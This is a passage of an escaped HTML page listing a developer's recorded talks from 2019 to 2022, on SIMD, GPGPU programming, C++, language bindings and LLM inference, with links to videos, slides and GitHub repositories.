\u003ca href=\"https://pydata.org/yerevan2022/\"\u003ePyData Conference\u003c/a\u003e. \u003ca href=\"https://youtu.be/OxAKSVuW2Yk\"\u003eYouTube\u003c/a\u003e. \u003ca href=\"https://drive.google.com/file/d/168_Ctx0n6Jtw7ufSlTL3skCZR--lw-C0/view\"\u003eSlides\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLife Altering Technologies\u003c/strong\u003e @ \u003ca href=\"https://fast.foundation/gif/2022/\"\u003eGlobal Innovation Forum\u003c/a\u003e. \u003ca href=\"https://www.youtube.com/watch?v=EBh9_7o31bI\u0026amp;t=24447s\"\u003eYouTube\u003c/a\u003e. 🗣️\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePersistent Memory Technologies Overview\u003c/strong\u003e @ \u003ca href=\"https://amd.com\"\u003eAMD\u003c/a\u003e \u0026amp; \u003ca href=\"https://www.xilinx.com\"\u003eXilinx\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRole of C++ in Machine Learning discussion\u003c/strong\u003e @ CppRussia. \u003ca href=\"https://youtu.be/gO_bVvIN7HM\"\u003eYouTube\u003c/a\u003e. 🇷🇺\u003c/li\u003e\n\u003cli\u003eFrom OpenCL, Thrust \u0026amp; CUB to raw CUDA Kernels \u0026amp; SyCL @ CppArm Meetup #3. \u003ca href=\"https://github.com/unum-cloud/ParallelReductions\"\u003eGitHub\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eFast Inference for Large Language Models with Vladimir Orshulevich @ PyData Meetup #2. \u003ca href=\"https://youtu.be/tKwL-Q7INnQ\"\u003eYouTube\u003c/a\u003e. 👯‍♂️\u003c/li\u003e\n\u003cli\u003eUnsafe Math, GCC Attributes, and Nifty Tricks for Google Benchmark @ CppArm Meetup #4. \u003ca href=\"https://github.com/ashvardanian/BenchmarkingTutorial\"\u003eGitHub\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eA Practical Approach to Error Handling by Arno Schödl @ CppRussia. \u003ca href=\"https://youtu.be/zNbmFRaetTA\"\u003eYouTube\u003c/a\u003e. 👯‍♂️\u003c/li\u003e\n\u003cli\u003eAccelerated Data-Science Tools Overview @ PYerevan Meetup #16. \u003ca href=\"https://youtu.be/coTgcwnzvAg\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eBindings 101: CPython, cGo, and Java Native Interface @ CppArm Meetup #5. \u003ca href=\"github.com/unum-cloud/ustore\"\u003eGitHub\u003c/a\u003e, \u003ca href=\"https://youtu.be/psmfAg1Nc3s\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2021\"\u003e2021\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOn High-Performance Computing\u003c/strong\u003e @ Mars Podcast. \u003ca href=\"https://youtu.be/yK4Bd-6Mxk0\"\u003eYouTube\u003c/a\u003e. 🇦🇲\u003c/li\u003e\n\u003cli\u003eEvolution: C++11, 14, 17, 20, 23, 26? @ CppArm Meetup #2. \u003ca href=\"https://youtu.be/jtttoxkjTIA\"\u003eYouTube\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePeta-Scale software in 2021 @ Code Republic. \u003ca href=\"https://youtu.be/8R-43hfnPHI\"\u003eYouTube\u003c/a\u003e. \u003ca href=\"https://drive.google.com/file/d/166nCWQH1-5KIPNmN4rUzebAW7mi6_eY5/view\"\u003eSlides\u003c/a\u003e 🇦🇲\u003c/li\u003e\n\u003cli\u003eOn the Gituzh Scientific Initiative @ FM106.5. \u003ca href=\"https://youtu.be/89eDghXaZjI\"\u003eYouTube\u003c/a\u003e. 🇦🇲 🗣️\u003c/li\u003e\n\u003cli\u003eSIMD with EVE by Denis Yaroshevskiy @ CppRussia. \u003ca href=\"https://youtu.be/CV0e-2a_dTI\"\u003eYouTube\u003c/a\u003e. 👯‍♂️\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2020\"\u003e2020\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSIMD = Performance you have already paid for\u003c/strong\u003e @ \u003ca href=\"https://2020.cppconf-piter.ru/2020/spb/talks/23g3egeumhe3p4fd66pbar/\"\u003eCppRussia Conference\u003c/a\u003e. \u003ca href=\"https://github.com/ashvardanian/SubstringSearchBenchmark\"\u003eGitHub\u003c/a\u003e. \u003ca href=\"https://youtu.be/6Sh9QWdzo58\"\u003eYouTube\u003c/a\u003e. \u003ca href=\"https://drive.google.com/file/d/16BsyqGWjpNfqG0vAb21l0eySbChC_njJ/view\"\u003eSlides\u003c/a\u003e. 🇷🇺\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSIMD. Frequency Scaling Licenses and Speculative Execution\u003c/strong\u003e @ CppArm Meetup #1. \u003ca href=\"https://github.com/ashvardanian/CppBenchSubstrSearch\"\u003eGitHub\u003c/a\u003e, \u003ca href=\"https://youtu.be/ft51yJ9mDcc?t=140\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eConversing about High-Performance Computing @ Pure Virtual Cast #4. \u003ca href=\"https://youtu.be/dCdBFB4LDjw\"\u003eYouTube\u003c/a\u003e. 🇷🇺\u003c/li\u003e\n\u003cli\u003eArtsakh Must Be Independent. \u003ca href=\"https://youtu.be/sN8CsCgDlHY\"\u003eYouTube\u003c/a\u003e. 🗣️\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"2019\"\u003e2019\u003c/h2\u003e\n\n\n    \n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"allowfullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube-nocookie.com/embed/AA4RI6o0h1U?autoplay=0\u0026controls=1\u0026end=0\u0026loop=0\u0026mute=0\u0026start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\n      \u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eDeep dive into GPGPU programming\u003c/strong\u003e @ \u003ca href=\"https://cppconf-piter.ru/en/2020/spb/talks/23g3egeumhe3p4fd66pbar/?fbclid=IwAR26hl3tEhw1os0J6oLzsVPTOAuSGkZIMzwq689tEq8NH5_V7b3MHV8f_zU\"\u003eCppRussia Conference\u003c/a\u003e. \u003ca href=\"https://github.com/ashvardanian/SandboxGPUs\"\u003eGitHub\u003c/a\u003e. \u003ca href=\"https://youtu.be/AA4RI6o0h1U\"\u003eYouTube\u003c/a\u003e. \u003ca href=\"https://drive.google.com/file/d/16AicAl99t3ZZFnza04Wnw_Vuem0w8lc7/view\"\u003eSlides\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAI and Computational Graphs in C++\u003c/strong\u003e @ \u003ca href=\"https://www.meetup.com/cpp-bay-area/events/261294493/\"\u003eCppBayArea\u003c/a\u003e. \u003ca href=\"https://github.com/ashvardanian/NeuralSTL\"\u003eGitHub\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eEfficient GPGPU Programming @ \u003ca href=\"https://www.jetbrains.com\"\u003eJetBrains\u003c/a\u003e HQ. \u003ca href=\"https://github.com/ashvardanian/SandboxGPUs\"\u003eGitHub\u003c/a\u003e, \u003ca href=\"https://youtu.be/BUtHOftDm_Y\"\u003eYouTube\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e","title":"Recordings \u0026 Talks"}]